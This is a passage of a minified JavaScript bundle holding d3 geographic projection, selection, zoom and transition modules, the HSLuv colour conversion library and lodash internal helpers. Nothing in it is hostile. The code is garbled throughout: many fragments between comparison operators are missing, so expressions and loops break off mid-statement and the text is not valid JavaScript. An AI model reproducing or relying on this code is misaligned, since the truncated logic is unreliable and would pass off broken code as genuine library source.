n=e-Pn,r=t-Nn,a=_(n*n+r*r);On+=a*(Pn+e)/2,Fn+=a*(Nn+t)/2,In+=a,jn+=(a=Nn*e-Pn*t)*(Pn+e),Rn+=a*(Nn+t),Bn+=3*a,Hn(Pn=e,Nn=t)}var $n=Dn;function Yn(e){this._context=e}Yn.prototype={_radius:4.5,pointRadius:function(e){return this._radius=e,this},polygonStart:function(){this._line=0},polygonEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){0===this._line&&this._context.closePath(),this._point=NaN},point:function(e,t){switch(this._point){case 0:this._context.moveTo(e,t),this._point=1;break;case 1:this._context.lineTo(e,t);break;default:this._context.moveTo(e+this._radius,t),this._context.arc(e,t,this._radius,0,d)}},result:A};var Qn,Xn,Jn,er,tr,nr=new o,rr={point:A,lineStart:function(){rr.point=ar},lineEnd:function(){Qn&&or(Xn,Jn),rr.point=A},polygonStart:function(){Qn=!0},polygonEnd:function(){Qn=null},result:function(){var e=+nr;return nr=new o,e}};function ar(e,t){rr.point=or,Xn=er=e,Jn=tr=t}function or(e,t){er-=e,tr-=t,nr.add(_(er*er+tr*tr)),er=e,tr=t}var ir=rr;function lr(){this._string=[]}function sr(e){return"m0,"+e+"a"+e+","+e+" 0 1,1 0,"+-2*e+"a"+e+","+e+" 0 1,1 0,"+2*e+"z"}function ur(e,t){var n,r,a=4.5;function o(e){return e&&("function"===typeof a&&r.pointRadius(+a.apply(this,arguments)),j(e,n(r))),r.result()}return o.area=function(e){return j(e,n(yn)),yn.result()},o.measure=function(e){return j(e,n(ir)),ir.result()},o.bounds=function(e){return j(e,n(Tn)),Tn.result()},o.centroid=function(e){return j(e,n($n)),$n.result()},o.projection=function(t){return arguments.length?(n=null==t?(e=null,dn):(e=t).stream,o):e},o.context=function(e){return arguments.length?(r=null==e?(t=null,new lr):new Yn(t=e),"function"!==typeof a&&r.pointRadius(a),o):t},o.pointRadius=function(e){return arguments.length?(a="function"===typeof e?e:(r.pointRadius(+e),+e),o):a},o.projection(e).context(t)}function cr(e){return{stream:dr(e)}}function dr(e){return function(t){var n=new fr;for(var r in e)n[r]=e[r];return n.stream=t,n}}function fr(){}function pr(e,t,n){var r=e.clipExtent&&e.clipExtent();return e.scale(150).translate([0,0]),null!=r&&e.clipExtent(null),j(n,e.stream(Tn)),t(Tn.result()),null!=r&&e.clipExtent(r),e}function hr(e,t,n){return pr(e,(function(n){var r=t[1][0]-t[0][0],a=t[1][1]-t[0][1],o=Math.min(r/(n[1][0]-n[0][0]),a/(n[1][1]-n[0][1])),i=+t[0][0]+(r-o*(n[1][0]+n[0][0]))/2,l=+t[0][1]+(a-o*(n[1][1]+n[0][1]))/2;e.scale(150*o).translate([i,l])}),n)}function mr(e,t,n){return hr(e,[[0,0],t],n)}function vr(e,t,n){return pr(e,(function(n){var r=+t,a=r/(n[1][0]-n[0][0]),o=(r-a*(n[1][0]+n[0][0]))/2,i=-a*n[0][1];e.scale(150*a).translate([o,i])}),n)}function gr(e,t,n){return pr(e,(function(n){var r=+t,a=r/(n[1][1]-n[0][1]),o=-a*n[0][0],i=(r-a*(n[1][1]+n[0][1]))/2;e.scale(150*a).translate([o,i])}),n)}lr.prototype={_radius:4.5,_circle:sr(4.5),pointRadius:function(e){return(e=+e)!==this._radius&&(this._radius=e,this._circle=null),this},polygonStart:function(){this._line=0},polygonEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){0===this._line&&this._string.push("Z"),this._point=NaN},point:function(e,t){switch(this._point){case 0:this._string.push("M",e,",",t),this._point=1;break;case 1:this._string.push("L",e,",",t);break;default:null==this._circle&&(this._circle=sr(this._radius)),this._string.push("M",e,",",t,this._circle)}},result:function(){if(this._string.length){var e=this._string.join("");return this._string=[],e}return null}},fr.prototype={constructor:fr,point:function(e,t){this.stream.point(e,t)},sphere:function(){this.stream.sphere()},lineStart:function(){this.stream.lineStart()},lineEnd:function(){this.stream.lineEnd()},polygonStart:function(){this.stream.polygonStart()},polygonEnd:function(){this.stream.polygonEnd()}};var br=g(30*p);function yr(e,t){return+t?function(e,t){function n(r,a,o,l,s,u,c,d,f,p,m,g,b,y){var w=c-r,x=d-a,E=w*w+x*x;if(E>4*t&&b--){var S=l+p,k=s+m,C=u+g,P=_(S*S+k*k+C*C),T=N(C/=P),A=h(h(C)-1)t||h((w*F+x*I)/E-.5)>.3||l*p+s*m+u*g2?e[2]%360*p:0,L()):[b*f,y*f,w*f]},A.angle=function(e){return arguments.length?(x=e%360*p,L()):x*f},A.reflectX=function(e){return arguments.length?(E=e?-1:1,L()):E<0},A.reflectY=function(e){return arguments.length?(S=e?-1:1,L()):S<0},A.precision=function(e){return arguments.length?(i=yr(l,T=e*e),O()):_(T)},A.fitExtent=function(e,t){return hr(A,e,t)},A.fitSize=function(e,t){return mr(A,e,t)},A.fitWidth=function(e,t){return vr(A,e,t)},A.fitHeight=function(e,t){return gr(A,e,t)},function(){return t=e.apply(this,arguments),A.invert=t.invert&&M,L()}}function kr(e){var t=0,n=s/3,r=Sr(e),a=r(t,n);return a.parallels=function(e){return arguments.length?r(t=e[0]*p,n=e[1]*p):[t*f,n*f]},a}function _r(e,t){var n=S(e),r=(n+S(t))/2;if(h(r)=.12&&a<.234&&r>=-.425&&r<-.214?s:a>=.166&&a<.234&&r>=-.214&&r<-.115?u:l).invert(e)},d.stream=function(n){return e&&t===n?e:e=function(e){var t=e.length;return{point:function(n,r){for(var a=-1;++a0?t<-u+i&&(t=-u+i):t>u-i&&(t=u-i);var n=a/E(Br(t),r);return[n*S(r*e),a-n*g(r*e)]}return o.invert=function(e,t){var n=a-t,o=k(r)*_(e*e+n*n),i=v(e,h(n))*k(n);return n*r<0&&(i-=s*k(e)*k(n)),[i/r,2*m(E(a/o,1/r))-u]},o}function Hr(){return kr(Dr).scale(109.5).parallels([30,30])}function zr(e,t){return[e,t]}function Ur(){return Er(zr).scale(152.63)}function Wr(e,t){var n=g(e),r=e===t?S(e):(n-g(t))/(t-e),a=n/r+e;if(h(r)2?e[2]+90:90]):[(e=n())[0],e[1],e[2]-90]},n([0,0,90]).scale(159.155)}Yr.invert=function(e,t){for(var n,r=t,a=r*r,o=a*a*a,i=0;i<12&&(o=(a=(r-=n=(r*(qr+Zr*a+o*(Kr+Gr*a))-t)/(qr+3*Zr*a+o*(7*Kr+9*Gr*a)))*r)*a*a,!(h(n)i&&--a>0);return[e/(.8707+(o=r*r)*(o*(o*o*o*(.003971-.001529*o)-.013791)-.131979)),r]},ra.invert=Ar(N),oa.invert=Ar((function(e){return 2*m(e)})),la.invert=function(e,t){return[-t,2*m(y(e))-u]}},1453:function(e,t){"use strict";t.Z=function(e){return function(){return e}}},8765:function(e,t,n){"use strict";function r(e,t){return e=+e,t=+t,function(n){return e*(1-n)+t*n}}n.d(t,{Z:function(){return r}})},4922:function(e,t,n){"use strict";n.d(t,{ZP:function(){return u}});var r=n(2168);function a(e,t,n,r,a){var o=e*e,i=o*e;return((1-3*e+3*o-i)*t+(4-6*o+3*i)*n+(1+3*e+3*o-3*i)*r+i*a)/6}var o=n(1453);function i(e,t){return function(n){return e+n*t}}function l(e){return 1===(e=+e)?s:function(t,n){return n-t?function(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}(t,n,e):(0,o.Z)(isNaN(t)?n:t)}}function s(e,t){var n=t-e;return n?i(e,n):(0,o.Z)(isNaN(e)?t:e)}var u=function e(t){var n=l(t);function a(e,t){var a=n((e=(0,r.B8)(e)).r,(t=(0,r.B8)(t)).r),o=n(e.g,t.g),i=n(e.b,t.b),l=s(e.opacity,t.opacity);return function(t){return e.r=a(t),e.g=o(t),e.b=i(t),e.opacity=l(t),e+""}}return a.gamma=e,a}(1);function c(e){return function(t){var n,a,o=t.length,i=new Array(o),l=new Array(o),s=new Array(o);for(n=0;n=1?(n=1,t-1):Math.floor(n*t),o=e[r],i=e[r+1],l=r>0?e[r-1]:2*o-i,s=rs&&(l=t.slice(s,l),c[u]?c[u]+=l:c[++u]=l),(n=n[0])===(i=i[0])?c[u]?c[u]+=i:c[++u]=i:(c[++u]=null,d.push({i:u,x:(0,r.Z)(n,i)})),s=o.lastIndex;return s=0&&"xmlns"!==(t=e.slice(0,n))&&(e=e.slice(n+1)),r.Z.hasOwnProperty(t)?{space:r.Z[t],local:e}:e}},6094:function(e,t,n){"use strict";n.d(t,{P:function(){return r}});var r="http://www.w3.org/1999/xhtml";t.Z={svg:"http://www.w3.org/2000/svg",xhtml:r,xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"}},9439:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(252);function a(e,t){if(e=(0,r.Z)(e),void 0===t&&(t=e.currentTarget),t){var n=t.ownerSVGElement||t;if(n.createSVGPoint){var a=n.createSVGPoint();return a.x=e.clientX,a.y=e.clientY,[(a=a.matrixTransform(t.getScreenCTM().inverse())).x,a.y]}if(t.getBoundingClientRect){var o=t.getBoundingClientRect();return[e.clientX-o.left-t.clientLeft,e.clientY-o.top-t.clientTop]}}return[e.pageX,e.pageY]}},9261:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(9426);function a(e){return"string"===typeof e?new r.Y1([[document.querySelector(e)]],[document.documentElement]):new r.Y1([[e]],r.Jz)}},9426:function(e,t,n){"use strict";n.d(t,{Y1:function(){return ce},ZP:function(){return fe},Jz:function(){return ue}});var r=n(4942),a=n(2538);var o=n(9491),i=n(4265);var l=n(1761),s=Array.prototype.find;function u(){return this.firstElementChild}var c=Array.prototype.filter;function d(){return this.children}function f(e){return new Array(e.length)}function p(e,t){this.ownerDocument=e.ownerDocument,this.namespaceURI=e.namespaceURI,this._next=null,this._parent=e,this.__data__=t}function h(e){return function(){return e}}function m(e,t,n,r,a,o){for(var i,l=0,s=t.length,u=o.length;lt?1:e>=t?0:NaN}p.prototype={constructor:p,appendChild:function(e){return this._parent.insertBefore(e,this._next)},insertBefore:function(e,t){return this._parent.insertBefore(e,t)},querySelector:function(e){return this._parent.querySelector(e)},querySelectorAll:function(e){return this._parent.querySelectorAll(e)}};var y=n(7762);var w=n(6229);function x(e){return function(){this.removeAttribute(e)}}function E(e){return function(){this.removeAttributeNS(e.space,e.local)}}function S(e,t){return function(){this.setAttribute(e,t)}}function k(e,t){return function(){this.setAttributeNS(e.space,e.local,t)}}function _(e,t){return function(){var n=t.apply(this,arguments);null==n?this.removeAttribute(e):this.setAttribute(e,n)}}function C(e,t){return function(){var n=t.apply(this,arguments);null==n?this.removeAttributeNS(e.space,e.local):this.setAttributeNS(e.space,e.local,n)}}var P=n(946);function N(e){return function(){delete this[e]}}function T(e,t){return function(){this[e]=t}}function A(e,t){return function(){var n=t.apply(this,arguments);null==n?delete this[e]:this[e]=n}}function M(e){return e.trim().split(/^|\s+/)}function L(e){return e.classList||new O(e)}function O(e){this._node=e,this._names=M(e.getAttribute("class")||"")}function F(e,t){for(var n=L(e),r=-1,a=t.length;++r=0&&(this._names.splice(t,1),this._node.setAttribute("class",this._names.join(" ")))},contains:function(e){return this._names.indexOf(e)>=0}};var K=n(8413);function G(){return null}function $(){var e=this.parentNode;e&&e.removeChild(this)}function Y(){var e=this.cloneNode(!1),t=this.parentNode;return t?t.insertBefore(e,this.nextSibling):e}function Q(){var e=this.cloneNode(!0),t=this.parentNode;return t?t.insertBefore(e,this.nextSibling):e}function X(e){return e.trim().split(/^|\s+/).map((function(e){var t="",n=e.indexOf(".");return n>=0&&(t=e.slice(n+1),e=e.slice(0,n)),{type:e,name:t}}))}function J(e){return function(){var t=this.__on;if(t){for(var n,r=0,a=-1,o=t.length;r=C&&(C=_+1);!(k=x[C])&&++C=0;)(r=a[o])&&(i&&4^r.compareDocumentPosition(i)&&i.parentNode.insertBefore(r,i),i=r);return this},sort:function(e){function t(t,n){return t&&n?e(t.__data__,n.__data__):!t-!n}e||(e=b);for(var n=this._groups,r=n.length,a=new Array(r),o=0;o1?this.each((null==t?N:"function"===typeof t?A:T)(e,t)):this.node()[e]},classed:function(e,t){var n=M(e+"");if(arguments.length<2){for(var r=L(this.node()),a=-1,o=n.length;++a1?this.each((null==t?a:"function"===typeof t?i:o)(e,t,null==n?"":n)):s(this.node(),e)}function s(e,t){return e.style.getPropertyValue(t)||(0,r.Z)(e).getComputedStyle(e,null).getPropertyValue(t)}},2538:function(e,t,n){"use strict";function r(){}function a(e){return null==e?r:function(){return this.querySelector(e)}}n.d(t,{Z:function(){return a}})},4265:function(e,t,n){"use strict";function r(){return[]}function a(e){return null==e?r:function(){return this.querySelectorAll(e)}}n.d(t,{Z:function(){return a}})},252:function(e,t,n){"use strict";function r(e){for(var t;t=e.sourceEvent;)e=t;return e}n.d(t,{Z:function(){return r}})},5795:function(e,t,n){"use strict";function r(e){return e.ownerDocument&&e.ownerDocument.defaultView||e.document&&e||e.defaultView}n.d(t,{Z:function(){return r}})},9242:function(e,t,n){"use strict";n.r(t),n.d(t,{zoom:function(){return Qe},zoomIdentity:function(){return ze},zoomTransform:function(){return Ue}});var r={value:function(){}};function a(){for(var e,t=0,n=arguments.length,r={};t=0&&(n=e.slice(r+1),e=e.slice(0,r)),e&&!t.hasOwnProperty(e))throw new Error("unknown type: "+e);return{type:e,name:n}}))}function l(e,t){for(var n,r=0,a=e.length;r0)for(var n,r,a=new Array(n),o=0;o=0&&t._call.call(null,e),t=t._next;--w}()}finally{w=0,function(){var e,t,n=m,r=1/0;for(;n;)n._call?(r>n._time&&(r=n._time),e=n,n=n._next):(t=n._next,n._next=null,n=e?e._next=t:m=t);v=e,F(r)}(),k=0}}function O(){var e=C.now(),t=e-S;t>1e3&&(_-=t,S=e)}function F(e){w||(x&&(x=clearTimeout(x)),e-k>24?(e<1/0&&(x=setTimeout(L,e-C.now()-_)),E&&(E=clearInterval(E))):(E||(S=C.now(),E=setInterval(O,1e3)),w=1,P(L)))}function I(e,t,n){var r=new A;return t=null==t?0:+t,r.restart((function(n){r.stop(),e(n+t)}),t,n),r}A.prototype=M.prototype={constructor:A,restart:function(e,t,n){if("function"!==typeof e)throw new TypeError("callback is not a function");n=(null==n?N():+n)+(null==t?0:+t),this._next||v===this||(v?v._next=this:m=this,v=this),this._call=e,this._time=n,F()},stop:function(){this._call&&(this._call=null,this._time=1/0,F())}};var j=u("start","end","cancel","interrupt"),R=[];function B(e,t,n,r,a,o){var i=e.__transition;if(i){if(n in i)return}else e.__transition={};!function(e,t,n){var r,a=e.__transition;function o(e){n.state=1,n.timer.restart(i,n.delay,n.time),n.delay<=e&&i(e-n.delay)}function i(o){var u,c,d,f;if(1!==n.state)return s();for(u in a)if((f=a[u]).name===n.name){if(3===f.state)return I(i);4===f.state?(f.state=6,f.timer.stop(),f.on.call("interrupt",e,e.__data__,f.index,f.group),delete a[u]):+u0)throw new Error("too late; already scheduled");return n}function H(e,t){var n=z(e,t);if(n.state>3)throw new Error("too late; already running");return n}function z(e,t){var n=e.__transition;if(!n||!(n=n[t]))throw new Error("transition not found");return n}function U(e,t){var n,r,a,o=e.__transition,i=!0;if(o){for(a in t=null==t?null:t+"",o)(n=o[a]).name===t?(r=n.state>2&&n.state<5,n.state=6,n.timer.stop(),n.on.call(r?"interrupt":"cancel",e,e.__data__,n.index,n.group),delete o[a]):i=!1;i&&delete e.__transition}}var W,V=n(4942),q=n(8765),Z=180/Math.PI,K={translateX:0,translateY:0,rotate:0,skewX:0,scaleX:1,scaleY:1};function G(e,t,n,r,a,o){var i,l,s;return(i=Math.sqrt(e*e+t*t))&&(e/=i,t/=i),(s=e*n+t*r)&&(n-=e*s,r-=t*s),(l=Math.sqrt(n*n+r*r))&&(n/=l,r/=l,s/=l),e*r180?t+=360:t-e>180&&(e+=360),o.push({i:n.push(a(n)+"rotate(",null,r)-2,x:(0,q.Z)(e,t)})):t&&n.push(a(n)+"rotate("+t+r)}(o.rotate,i.rotate,l,s),function(e,t,n,o){e!==t?o.push({i:n.push(a(n)+"skewX(",null,r)-2,x:(0,q.Z)(e,t)}):t&&n.push(a(n)+"skewX("+t+r)}(o.skewX,i.skewX,l,s),function(e,t,n,r,o,i){if(e!==n||t!==r){var l=o.push(a(o)+"scale(",null,",",null,")");i.push({i:l-4,x:(0,q.Z)(e,n)},{i:l-2,x:(0,q.Z)(t,r)})}else 1===n&&1===r||o.push(a(o)+"scale("+n+","+r+")")}(o.scaleX,o.scaleY,i.scaleX,i.scaleY,l,s),o=i=null,function(e){for(var t,n=-1,r=s.length;++n=0&&(e=e.slice(0,t)),!e||"start"===e}))}(t)?D:H;return function(){var i=o(this,e),l=i.on;l!==r&&(a=(r=l).copy()).on(t,n),i.on=a}}var Se=n(2538);var ke=n(4265);var _e=y.ZP.prototype.constructor;var Ce=n(946);function Pe(e){return function(){this.style.removeProperty(e)}}function Ne(e,t,n){return function(r){this.style.setProperty(e,t.call(this,r),n)}}function Te(e,t,n){var r,a;function o(){var o=t.apply(this,arguments);return o!==a&&(r=(a=o)&&Ne(e,o,n)),r}return o._value=t,o}function Ae(e){return function(t){this.textContent=e.call(this,t)}}function Me(e){var t,n;function r(){var r=e.apply(this,arguments);return r!==n&&(t=(n=r)&&Ae(r)),t}return r._value=e,r}var Le=0;function Oe(e,t,n,r){this._groups=e,this._parents=t,this._name=n,this._id=r}function Fe(){return++Le}var Ie=y.ZP.prototype;Oe.prototype=function(e){return(0,y.ZP)().transition(e)}.prototype=(0,V.Z)({constructor:Oe,select:function(e){var t=this._name,n=this._id;"function"!==typeof e&&(e=(0,Se.Z)(e));for(var r=this._groups,a=r.length,o=new Array(a),i=0;ir?(r+a)/2:Math.min(0,r)||Math.max(0,a),i>o?(o+i)/2:Math.min(0,o)||Math.max(0,i))}function Qe(){var e,t,n,r=qe,a=Ze,o=Ye,i=Ge,l=$e,s=[0,1/0],d=[[-1/0,-1/0],[1/0,1/0]],h=250,m=g,v=u("start","zoom","end"),y=500,w=0,x=10;function E(e){e.property("__zoom",Ke).on("wheel.zoom",T).on("mousedown.zoom",A).on("dblclick.zoom",M).filter(l).on("touchstart.zoom",L).on("touchmove.zoom",O).on("touchend.zoom touchcancel.zoom",F).style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function S(e,t){return(t=Math.max(s[0],Math.min(s[1],t)))===e.k?e:new He(t,e.x,e.y)}function k(e,t,n){var r=t[0]-n[0]*e.k,a=t[1]-n[1]*e.k;return r===e.x&&a===e.y?e:new He(e.k,r,a)}function _(e){return[(+e[0][0]+ +e[1][0])/2,(+e[0][1]+ +e[1][1])/2]}function C(e,t,n,r){e.on("start.zoom",(function(){P(this,arguments).event(r).start()})).on("interrupt.zoom end.zoom",(function(){P(this,arguments).event(r).end()})).tween("zoom",(function(){var e=this,o=arguments,i=P(e,o).event(r),l=a.apply(e,o),s=null==n?_(l):"function"===typeof n?n.apply(e,o):n,u=Math.max(l[1][0]-l[0][0],l[1][1]-l[0][1]),c=e.__zoom,d="function"===typeof t?t.apply(e,o):t,f=m(c.invert(s).concat(u/c.k),d.invert(s).concat(u/d.k));return function(e){if(1===e)e=d;else{var t=f(e),n=u/t[2];e=new He(n,s[0]-t[0]*n,s[1]-t[1]*n)}i.zoom(null,e)}}))}function P(e,t,n){return!n&&e.__zooming||new N(e,t)}function N(e,t){this.that=e,this.args=t,this.active=0,this.sourceEvent=null,this.extent=a.apply(e,t),this.taps=0}function T(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),a=1;a1?t-1:0),i=1;iw}l.event(e).zoom("mouse",o(k(l.that.__zoom,l.mouse[0]=(0,b.Z)(e,h),l.mouse[1]),l.extent,d))}function y(e){s.on("mousemove.zoom mouseup.zoom",null),p(e.view,l.moved),Ve(e),l.event(e).end()}}function M(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i0?(0,c.Z)(this).transition().duration(h).call(C,p,s,e):(0,c.Z)(this).call(E.transform,p,s,e)}}function L(n){for(var a=arguments.length,o=new Array(a>1?a-1:0),i=1;i1?t-1:0),r=1;r1?r-1:0),o=1;ot.Hsluv.epsilon?r:e/t.Hsluv.kappa,o=0;o<3;)for(var i=o++,l=t.Hsluv.m[i][0],s=t.Hsluv.m[i][1],u=t.Hsluv.m[i][2],c=0;c<2;){var d=c++,f=(284517*l-94839*u)*a,p=(838422*u+769860*s+731718*l)*e*a-769860*d*e,h=(632260*u-126452*s)*a+126452*d;n.push({slope:f/h,intercept:p/h})}return n},t.Hsluv.maxSafeChromaForL=function(e){for(var n=t.Hsluv.getBounds(e),r=1/0,a=0;a=0&&(o=Math.min(o,s))}return o},t.Hsluv.dotProduct=function(e,t){for(var n=0,r=0,a=e.length;r.04045?Math.pow((e+.055)/1.055,2.4):e/12.92},t.Hsluv.xyzToRgb=function(e){return[t.Hsluv.fromLinear(t.Hsluv.dotProduct(t.Hsluv.m[0],e)),t.Hsluv.fromLinear(t.Hsluv.dotProduct(t.Hsluv.m[1],e)),t.Hsluv.fromLinear(t.Hsluv.dotProduct(t.Hsluv.m[2],e))]},t.Hsluv.rgbToXyz=function(e){var n=[t.Hsluv.toLinear(e[0]),t.Hsluv.toLinear(e[1]),t.Hsluv.toLinear(e[2])];return[t.Hsluv.dotProduct(t.Hsluv.minv[0],n),t.Hsluv.dotProduct(t.Hsluv.minv[1],n),t.Hsluv.dotProduct(t.Hsluv.minv[2],n)]},t.Hsluv.yToL=function(e){return e<=t.Hsluv.epsilon?e/t.Hsluv.refY*t.Hsluv.kappa:116*Math.pow(e/t.Hsluv.refY,.3333333333333333)-16},t.Hsluv.lToY=function(e){return e<=8?t.Hsluv.refY*e/t.Hsluv.kappa:t.Hsluv.refY*Math.pow((e+16)/116,3)},t.Hsluv.xyzToLuv=function(e){var n=e[0],r=e[1],a=n+15*r+3*e[2],o=4*n,i=9*r;0!=a?(o/=a,i/=a):(o=NaN,i=NaN);var l=t.Hsluv.yToL(r);return 0==l?[0,0,0]:[l,13*l*(o-t.Hsluv.refU),13*l*(i-t.Hsluv.refV)]},t.Hsluv.luvToXyz=function(e){var n=e[0],r=e[1],a=e[2];if(0==n)return[0,0,0];var o=r/(13*n)+t.Hsluv.refU,i=a/(13*n)+t.Hsluv.refV,l=t.Hsluv.lToY(n),s=0-9*l*o/((o-4)*i-o*i);return[s,l,(9*l-15*i*l-i*s)/(3*i)]},t.Hsluv.luvToLch=function(e){var t,n=e[0],r=e[1],a=e[2],o=Math.sqrt(r*r+a*a);o<1e-8?t=0:(t=180*Math.atan2(a,r)/Math.PI)<0&&(t=360+t);return[n,o,t]},t.Hsluv.lchToLuv=function(e){var t=e[0],n=e[1],r=e[2]/360*2*Math.PI;return[t,Math.cos(r)*n,Math.sin(r)*n]},t.Hsluv.hsluvToLch=function(e){var n=e[0],r=e[1],a=e[2];return a>99.9999999?[100,0,n]:a<1e-8?[0,0,n]:[a,t.Hsluv.maxChromaForLH(a,n)/100*r,n]},t.Hsluv.lchToHsluv=function(e){var n=e[0],r=e[1],a=e[2];return n>99.9999999?[a,0,100]:n<1e-8?[a,0,0]:[a,r/t.Hsluv.maxChromaForLH(n,a)*100,n]},t.Hsluv.hpluvToLch=function(e){var n=e[0],r=e[1],a=e[2];return a>99.9999999?[100,0,n]:a<1e-8?[0,0,n]:[a,t.Hsluv.maxSafeChromaForL(a)/100*r,n]},t.Hsluv.lchToHpluv=function(e){var n=e[0],r=e[1],a=e[2];return n>99.9999999?[a,0,100]:n<1e-8?[a,0,0]:[a,r/t.Hsluv.maxSafeChromaForL(n)*100,n]},t.Hsluv.rgbToHex=function(e){for(var n="#",r=0;r<3;){var a=e[r++],o=Math.round(255*a),i=o%16,l=(o-i)/16|0;n+=t.Hsluv.hexChars.charAt(l)+t.Hsluv.hexChars.charAt(i)}return n},t.Hsluv.hexToRgb=function(e){e=e.toLowerCase();for(var n=[],r=0;r<3;){var a=r++,o=16*t.Hsluv.hexChars.indexOf(e.charAt(2*a+1))+t.Hsluv.hexChars.indexOf(e.charAt(2*a+2));n.push(o/255)}return n},t.Hsluv.lchToRgb=function(e){return t.Hsluv.xyzToRgb(t.Hsluv.luvToXyz(t.Hsluv.lchToLuv(e)))},t.Hsluv.rgbToLch=function(e){return t.Hsluv.luvToLch(t.Hsluv.xyzToLuv(t.Hsluv.rgbToXyz(e)))},t.Hsluv.hsluvToRgb=function(e){return t.Hsluv.lchToRgb(t.Hsluv.hsluvToLch(e))},t.Hsluv.rgbToHsluv=function(e){return t.Hsluv.lchToHsluv(t.Hsluv.rgbToLch(e))},t.Hsluv.hpluvToRgb=function(e){return t.Hsluv.lchToRgb(t.Hsluv.hpluvToLch(e))},t.Hsluv.rgbToHpluv=function(e){return t.Hsluv.lchToHpluv(t.Hsluv.rgbToLch(e))},t.Hsluv.hsluvToHex=function(e){return t.Hsluv.rgbToHex(t.Hsluv.hsluvToRgb(e))},t.Hsluv.hpluvToHex=function(e){return t.Hsluv.rgbToHex(t.Hsluv.hpluvToRgb(e))},t.Hsluv.hexToHsluv=function(e){return t.Hsluv.rgbToHsluv(t.Hsluv.hexToRgb(e))},t.Hsluv.hexToHpluv=function(e){return t.Hsluv.rgbToHpluv(t.Hsluv.hexToRgb(e))},t.Hsluv.m=[[3.240969941904521,-1.537383177570093,-.498610760293],[-.96924363628087,1.87596750150772,.041555057407175],[.055630079696993,-.20397695888897,1.056971514242878]],t.Hsluv.minv=[[.41239079926595,.35758433938387,.18048078840183],[.21263900587151,.71516867876775,.072192315360733],[.019330818715591,.11919477979462,.95053215224966]],t.Hsluv.refY=1,t.Hsluv.refU=.19783000664283,t.Hsluv.refV=.46831999493879,t.Hsluv.kappa=903.2962962,t.Hsluv.epsilon=.0088564516,t.Hsluv.hexChars="0123456789abcdef";var n={hsluvToRgb:t.Hsluv.hsluvToRgb,rgbToHsluv:t.Hsluv.rgbToHsluv,hpluvToRgb:t.Hsluv.hpluvToRgb,rgbToHpluv:t.Hsluv.rgbToHpluv,hsluvToHex:t.Hsluv.hsluvToHex,hexToHsluv:t.Hsluv.hexToHsluv,hpluvToHex:t.Hsluv.hpluvToHex,hexToHpluv:t.Hsluv.hexToHpluv,lchToHpluv:t.Hsluv.lchToHpluv,hpluvToLch:t.Hsluv.hpluvToLch,lchToHsluv:t.Hsluv.lchToHsluv,hsluvToLch:t.Hsluv.hsluvToLch,lchToLuv:t.Hsluv.lchToLuv,luvToLch:t.Hsluv.luvToLch,xyzToLuv:t.Hsluv.xyzToLuv,luvToXyz:t.Hsluv.luvToXyz,xyzToRgb:t.Hsluv.xyzToRgb,rgbToXyz:t.Hsluv.rgbToXyz,lchToRgb:t.Hsluv.lchToRgb,rgbToLch:t.Hsluv.rgbToLch};e.exports=n},908:function(e,t,n){var r=n(8136)(n(7009),"DataView");e.exports=r},9676:function(e,t,n){var r=n(5403),a=n(2747),o=n(6037),i=n(4154),l=n(7728);function s(e){var t=-1,n=null==e?0:e.length;for(this.clear();++tc))return!1;var f=s.get(e),p=s.get(t);if(f&&p)return f==t&&p==e;var h=-1,m=!0,v=2&n?new r:void 0;for(s.set(e,t),s.set(t,e);++h-1&&e%1==0&&e-1}},7109:function(e,t,n){var r=n(7112);e.exports=function(e,t){var n=this.__data__,a=r(n,e);return a<0?(++this.size,n.push([e,t])):n[a][1]=t,this}},4086:function(e,t,n){var r=n(9676),a=n(8384),o=n(5797);e.exports=function(){this.size=0,this.__data__={hash:new r,map:new(o||a),string:new r}}},9255:function(e,t,n){var r=n(2799);e.exports=function(e){var t=r(this,e).delete(e);return this.size-=t?1:0,t}},9186:function(e,t,n){var r=n(2799);e.exports=function(e){return r(this,e).get(e)}},3423:function(e,t,n){var r=n(2799);e.exports=function(e){return r(this,e).has(e)}},3739:function(e,t,n){var r=n(2799);e.exports=function(e,t){var n=r(this,e),a=n.size;return n.set(e,t),this.size+=n.size==a?0:1,this}},234:function(e){e.exports=function(e){var t=-1,n=Array(e.size);return e.forEach((function(e,r){n[++t]=[r,e]})),n}},9620:function(e,t,n){var r=n(8136)(Object,"create");e.exports=r},8836:function(e,t,n){var r=n(2709)(Object.keys,Object);e.exports=r},9494:function(e,t,n){e=n.nmd(e);var r=n(1032),a=t&&!t.nodeType&&t,o=a&&e&&!e.nodeType&&e,i=o&&o.exports===a&&r.process,l=function(){try{var e=o&&o.require&&o.require("util").types;return e||i&&i.binding&&i.binding("util")}catch(t){}}();e.exports=l},3581:function(e){var t=Object.prototype.toString;e.exports=function(e){return t.call(e)}},2709:function(e){e.exports=function(e,t){return function(n){return e(t(n))}}},7009:function(e,t,n){var r=n(1032),a="object"==typeof self&&self&&self.Object===Object&&self,o=r||a||Function("return this")();e.exports=o},5774:function(e){e.exports=function(e){return this.__data__.set(e,"__lodash_hash_undefined__"),this}},1596:function(e){e.exports=function(e){return this.__data__.has(e)}},2230:function(e){e.exports=function(e){var t=-1,n=Array(e.size);return e.forEach((function(e){n[++t]=e})),n}},511:function(e,t,n){var r=n(8384);e.exports=function(){this.__data__=new r,this.size=0}},835:function(e){e.exports=function(e){var t=this.__data__,n=t.delete(e);return this.size=t.size,n}},707:function(e){e.exports=function(e){return this.__data__.get(e)}},8832:function(e){e.exports=function(e){return this.__data__.has(e)}},5077:function(e,t,n){var r=n(8384),a=n(5797),o=n(8059);e.exports=function(e,t){var n=this.__data__;if(n instanceof r){var i=n.__data__;if(!a||i.length<199)return i.push([e,t]),this.size=++n.size,this;n=this.__data__=new o(i)}return n.set(e,t),this.size=n.size,this}},7907:function(e){var t=Function.prototype.toString;e.exports=function(e){if(null!=e){try{return t.call(e)}catch(n){}try{return e+""}catch(n){}}return""}},6050:function(e){var t=/\s/;e.exports=function(e){for(var n=e.length;n--&&t.test(e.charAt(n)););return 